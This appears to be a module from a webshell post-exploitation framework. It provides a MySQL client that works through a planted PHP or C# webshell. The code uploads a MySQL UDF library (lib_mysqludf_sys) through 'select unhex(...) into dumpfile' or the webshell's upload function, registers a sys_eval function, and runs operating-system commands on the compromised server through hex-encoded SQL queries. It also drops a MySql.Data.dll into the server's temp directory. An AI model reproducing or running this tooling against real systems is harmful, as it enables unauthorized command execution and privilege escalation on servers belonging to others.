r'''Mysql client.

'''

from api.exploit import WebshellExploit, Cmdline
from api.webshell import WebshellSession, Webshell, CSharpWebshell, EvalResult, CommandExecutor
from api import Session, utils, logger, tablor, colour
import argparse
import json
import base64
import re
import os
from functools import wraps

class exploit(WebshellExploit, CommandExecutor):
    
    def __init__(self):
        super().__init__()
        self.parse = argparse.ArgumentParser(prog='mysql', description="Mysql client.", 
            epilog="Before executing the SQL statement, you must first establish a connection.")

        self.parse.add_argument('-e', '--exec-cmd', help="Using stored procedure to execute system command.")
        self.parse.add_argument('--exec-udf', help="Try uploading UDF and creating command execution function sys_ eval", action="store_true")

        query_group = self.parse.add_argument_group('Query options')
        query_group.add_argument('-i', '--interactive', action='store_true', help="Enter the interactive mode to execute SQL statements continuously")
        query_group.add_argument('sql', nargs='?', default=None, help="A SQL statement.")

        state_group = self.parse.add_argument_group('Set status options')
        state_group.add_argument('-c', "--connect", help="Perform connection test.", action='store_true')
        state_group.add_argument('-H', '--host', help="Specify the host name.")
        state_group.add_argument('-P', '--port', help="Specify the host port.")
        state_group.add_argument('-u', '--user', help="Specify the database user name.")
        state_group.add_argument('-f', '--exec-func', help="Specifies the name of the function that executes the system command.")
        state_group.add_argument('-p', '--password', help="Specify the database connection password.Do not specify a value to blank.", nargs='?', const=True)
        state_group.add_argument('-d', '--database', help="Specify the name of the current database.Do not specify a value to blank.", nargs='?', const=True)

        show_group = self.parse.add_argument_group('Show options')
        show_group.add_argument('-s', '--show', help="Display current connection information", action='store_true')
        self.help = __doc__+self.parse.format_help()

        self._host = 'localhost'
        self._port = 3306
        self._user = None
        self._password = None
        self._current_database = None
        self._exec_func = 'sys_eval' # 指定执行命令的函数
        self._last_connect_status = False

    def _upload_lib(self, ret:EvalResult)-> EvalResult:
        '''上传可能缺失动态库
        '''
        if isinstance(self.session.client, CSharpWebshell):
            assems = []
            path = self.session.server_info.tmpdir+self.session.server_info.sep+utils.randomstr(8)
            for e in ret.errors:
                if e.errcode == "CS0246" and 'MySql' in e.errmsg:
                    assems.append(path)
                    break
            if path in assems:
                logger.info("Try to upload MySql.Data.dll !")
                if self.session.exec(['upload', os.path.join(os.path.dirname(__file__), 'extra_code', 'MySql.Data.dll'), path]) == self.SUCCESS:
                    assems.extend(self.session.client.options.extra_assemblys)
                    self.session.client.options.set_temp_option('extra_assemblys', str(assems))
                    ret = self.evalfile('payload/connect', host=self._host, port=self._port, user=self._user, 
                        password=self._password, database=self._current_database)
                    self.session.exec(['rm', '-f', path], False) # 删除临时文件

        return ret

    def _connect(self)-> int:
        ret = self.evalfile('payload/connect', host=self._host, port=self._port, user=self._user, 
            password=self._password, database=self._current_database)
        if not ret.is_success():
            ret = self._upload_lib(ret)

        ret = ret.data
        if ret is None:
            logger.error('Connect error!')
            return self.STOP
        ret = json.loads(ret)
        if ret['code'] == -1:
            msg = base64.b64decode(ret['msg'].encode()).decode(self.session.client.options.encoding, 'ignore')
            logger.error('Connect failed!')
            logger.error(msg)
            self._last_connect_status = False
            return self.STOP
        elif ret['code'] == 1:
            logger.info('Connect successfully!', True)
            self._last_connect_status = True
        elif ret['code'] == 0:
            logger.error("Can't find function `mysqli_connect`, the server may not have the Mysqli extension installed.")
            self._last_connect_status = False
            return self.STOP
        return self.SUCCESS

    def _show(self)-> int:
        table = [
            ['Host', self._host],
            ['Port', self._port],
            ['User', self._user],
            ['Password', self._password],
            ['Current database', self._current_database],
            ['Execute Function', self._exec_func],
            ['Last connection', colour.colorize('Success', 'bold', 'green') if self._last_connect_status else colour.colorize('Failed', 'bold', 'red')]
        ]
        print(tablor(table, False, indent=''))
        return self.SUCCESS

    def exec_command_on_server(self, cmd:str)->str:
        encoding = self.session.client.options.encoding
        encode_cmd = cmd.encode().hex()
        sql = f"select {self._exec_func}(unhex('{encode_cmd}'))"
        ret = self.evalfile('payload/query', host=self._host, port=self._port, user=self._user, 
            password=self._password, database=self._current_database, sql=sql)
        if not ret.is_success():
            return None
        ret = ret.data
        ret = json.loads(ret)
        if ret['code'] == 1:
            if ret['result']:
                r = [base64.b64decode(t[0].encode()).decode(encoding, 'ignore') for t in ret['result']]
                return '\n'.join(r[1:])
            return ''
        return None

    def _query(self, sql: str)-> int:
        ret = self.evalfile('payload/query', host=self._host, port=self._port, user=self._user, 
            password=self._password, database=self._current_database, sql=sql)
        ret = ret.data
        if ret is None:
            return self.STOP
        ret = json.loads(ret)
        encoding = self.session.client.options.encoding
        if ret['code'] in (0, -1):
            msg = base64.b64decode(ret['msg'].encode()).decode(encoding, 'ignore')
            print(msg)
            if ret['code'] == -1:
                self._last_connect_status = False
                return self.STOP
            return self.ERROR
        elif ret['code'] == 1:
            result = []
            for row in ret['result']:
                tmp = []
                for val in row:
                    val = base64.b64decode(val.encode()).decode(encoding, 'ignore')
                    tmp.append(val)
                result.append(tmp)
            print(tablor(result, indent=' '))
            logger.info(colour.colorize(f"{len(result)-1} rows in set.", 'bold'))
        elif ret['code'] == 2:
            affected = ret['affected']
            logger.info(colour.colorize(f"Query OK, {affected} row affected.", 'bold'))
        elif ret['code'] == -2:
            logger.error("Can't find function `mysqli_connect`, the server may not have the Mysqli extension installed.")
            self._last_connect_status = False
            return self.STOP

        self._last_connect_status = True
        return self.SUCCESS

    def _interactive(self)-> int:
        logger.info("This is just an interactive window that continuously executes SQL statements. ")
        logger.info("Type `exit` or `quit` or Ctrl-C to exit.")
        try:
            while True:
                prompt = colour.colorize('mysql', 'underline')+'('+colour.colorize(f"{self._user}@{self._host}", fore='green')+')'+\
                    f" [{colour.colorize(self._current_database, fore='yellow')}] > "
                sql = utils.input(prompt)
                if sql == '':
                    continue
                elif sql in ('exit', 'quit'):
                    break
                elif sql == 'clear':
                    self.session.exec("clear")
                    continue
                elif sql.startswith('use '):
                    match = re.fullmatch(r'use\s+(\w+)', sql)
                    if match:
                        old = self._current_database
                        self._current_database = match.group(1)
                        if self._query(sql) == self.ERROR:
                            self._current_database = old
                    continue
                self._query(sql)
        except KeyboardInterrupt:
            print('')
        return self.SUCCESS

    def _exec_udf(self):
        '''上传mysql的udf用于命令执行
        '''
        encoding = self.session.client.options.encoding
        # 验证是否存在当前用于执行命令的函数
        sql = f"select * from mysql.func where name = '{self._exec_func}'"
        ret = self.evalfile('payload/query', host=self._host, port=self._port, user=self._user, 
            password=self._password, database=self._current_database, sql=sql)
        if not ret.is_success():
            logger.error("Query funtions info failed!")
            return self.STOP
        ret = json.loads(ret.data)
        if ret['code'] == 1:
            if ret['result'] and len(ret['result'])>1:
                logger.info(f"Funtion `{self._exec_func}` already exists!", True)
                return self.SUCCESS
        else:
            logger.error("Query funtions info failed!")
            return self.STOP

        # 搜集信息
        logger.info("Information collection...")
        plugin_dir = None
        secure_file_priv = None
        version_compile_machine = None
        version_compile_os = None
        version = None
        sql = "show global variables where variable_name in ('secure_file_priv', 'plugin_dir', 'version_compile_machine', 'version_compile_os', 'version')"
        ret = self.evalfile('payload/query', host=self._host, port=self._port, user=self._user, 
            password=self._password, database=self._current_database, sql=sql)
        if not ret.is_success():
            logger.error("Mysql information collection failed!")
            return self.STOP
        ret = ret.data
        ret = json.loads(ret)
        if ret['code'] == 1:
            if ret['result']:
                r = [base64.b64decode(t[1].encode()).decode(encoding, 'ignore') for t in ret['result']]
                plugin_dir = r[1]
                secure_file_priv = r[2]
                version = r[3]
                version_compile_machine = r[4]
                version_compile_os = r[5]
            else:
                logger.error("Mysql information collection failed!")
                return self.STOP
        elif ret['code'] in (0, -1):
            msg = base64.b64decode(ret['msg'].encode()).decode(encoding, 'ignore')
            print(msg)
            return self.STOP
        else:
            logger.error("Mysql information collection failed!")
            return self.STOP
        logger.info(f"plugin_dir: {plugin_dir}", True)
        logger.info(f"secure_file_priv: {secure_file_priv}", True)
        logger.info(f"version: {version}", True)
        logger.info(f"version_compile_machine: {version_compile_machine}", True)
        logger.info(f"version_compile_os: {version_compile_os}", True)
        v = re.search(r'(\d+)\.(\d+)', version)
        if v is not None and 'win' in version_compile_os.lower():
            m = int(v.group(1))
            c = int(v.group(2))
            if (m==5 and c<1) or m<5:# Windows上mysql<5.1
                logger.info(f"Mysql on {version_compile_os} {version_compile_machine} version < 5.1, you can upload udf to c:\winnt\system32 or c:\windows\system32!")
                return self.SUCCESS
        
        # 写入udf
        arch = '32'
        ext = 'so'
        if '64' in version_compile_machine:
            arch = '64'
        if 'win' in version_compile_os.lower():
            ext = 'dll'
        local_udfpath = os.path.join(os.path.dirname(__file__), 'extra_code', f'lib_mysqludf_sys_{arch}.{ext}')
        logger.info(f"Using udf `{local_udfpath}`")
        udfdata = b''
        with open(local_udfpath, 'rb') as f:
            udfdata = f.read()
        udfdata = udfdata.hex()
        udfname = utils.randomstr(8)+'.'+ext
        udfpath = plugin_dir+udfname
        if secure_file_priv and secure_file_priv != plugin_dir:
            logger.error("Can not upload udf with secure_file_priv!")
            if utils.input("Can not upload udf with secure_file_priv!Do you want to try to upload UDF with web permission? (y/n) ").lower() == 'y':
                if self.session.exec(['upload', local_udfpath, udfpath])==self.SUCCESS:
                    logger.info("UDF write successful!")
                else:
                    logger.error("Write UDF failed!")
                    return self.STOP
            else:
                return self.STOP
        else:# 使用sql语句写入UDF
            logger.info(f"Start write udf to {udfpath}...")
            sql = f"select unhex('{udfdata}') into dumpfile '{udfpath}'"
            ret = self.evalfile('payload/query', host=self._host, port=self._port, user=self._user, 
                password=self._password, database=self._current_database, sql=sql)
            if not ret.is_success():
                logger.error("Write UDF failed!")
                return self.STOP
            ret = ret.data
            ret = json.loads(ret)
            if ret['code'] == 2:
                logger.info("UDF write successful!", True)
            elif ret['code'] in (0, -1):
                msg = base64.b64decode(ret['msg'].encode()).decode(encoding, 'ignore')
                print(msg)
                logger.error("Write UDF failed!")
                return self.STOP
            else:
                logger.error("Write UDF failed!")
                return self.STOP
        
        # 创建命令执行函数
        sql = f"create function {self._exec_func} returns string soname '{udfname}'"
        ret = self.evalfile('payload/query', host=self._host, port=self._port, user=self._user, 
            password=self._password, database=self._current_database, sql=sql)
        if not ret.is_success():
            logger.error(f"Create function `{self._exec_func}` failed!")
            return self.STOP
        ret = ret.data
        ret = json.loads(ret)
        if ret['code'] == 2:
            logger.info(f"Create function `{self._exec_func}` successful!", True)
            self._query(f"select * from mysql.func where name = '{self._exec_func}'")
            return self.SUCCESS
        elif ret['code'] in (0, -1):
            msg = base64.b64decode(ret['msg'].encode()).decode(encoding, 'ignore')
            print(msg)
            logger.error(f"Create function `{self._exec_func}` failed!")
            return self.STOP
        else:
            logger.error(f"Create function `{self._exec_func}` failed!")
        return self.STOP

    def run(self, args: Cmdline)-> int:
        args = self.parse.parse_args(args.options)
        ret = self.SUCCESS
        if args.host:
            self._host = args.host
            if not args.connect:
                logger.info(f"Set host => {args.host}")
        if args.port:
            self._port = args.port
            if not args.connect:
                logger.info(f"Set port => {args.port}")
        if args.user:
            self._user = args.user
            if not args.connect:
                logger.info(f"Set user => {args.user}")
        if args.password:
            self._password = args.password if args.password is not True else None
            if not args.connect:
                logger.info(f"Set password => {self._password}")
        if args.database:
            self._current_database = args.database if args.database is not True else None
            if not args.connect:
                logger.info(f"Set current_database => {self._current_database}")
        if args.exec_func:
            self._exec_func = args.exec_func
            logger.info(f"Set exec_func => {self._exec_func}")

        if args.connect:
            ret = self._connect()
        elif args.show:
            ret = self._show()
        elif args.interactive:
            ret = self._interactive()
        elif args.exec_udf:
            ret = self._exec_udf()
        elif args.exec_cmd:
            r = self.exec_command_on_server(args.exec_cmd)
            if r is not None:
                print(r)
            else:
                logger.error(f"Exec command `{args.exec_cmd}` failed!")
                ret = self.STOP
        elif args.sql:
            ret = self._query(args.sql)
        else:
            ret = self._show()

        return ret
    
    def support(self, session:WebshellSession)-> bool:
        '''判断当前命令是否支持指定的session， 一般来说session即为运行改命令时的session
        '''
        self.session = session
        return isinstance(self.session, WebshellSession) and self.session.server_info.lang in (Webshell.PHP, Webshell.ASP_NET_CS, )

    def hook_loaded(self):
        data = self.load_config("mysql-config")
        if data is None:
            return
        self._host = data.get('host', 'localhost')
        self._port = data.get('port', 3306)
        self._user = data.get('user','root')
        self._password = data.get('pwd')
        self._exec_func = data.get('exec_func', 'sys_eval')
        self._current_database = data.get('database')
        
    def hook_destroy(self):
        data = {
            'host':self._host, 
            'port':self._port,
            'user':self._user,
            'pwd':self._password,
            'exec_func':self._exec_func,
            'database':self._current_database
        }
        self.save_config('mysql-config', data)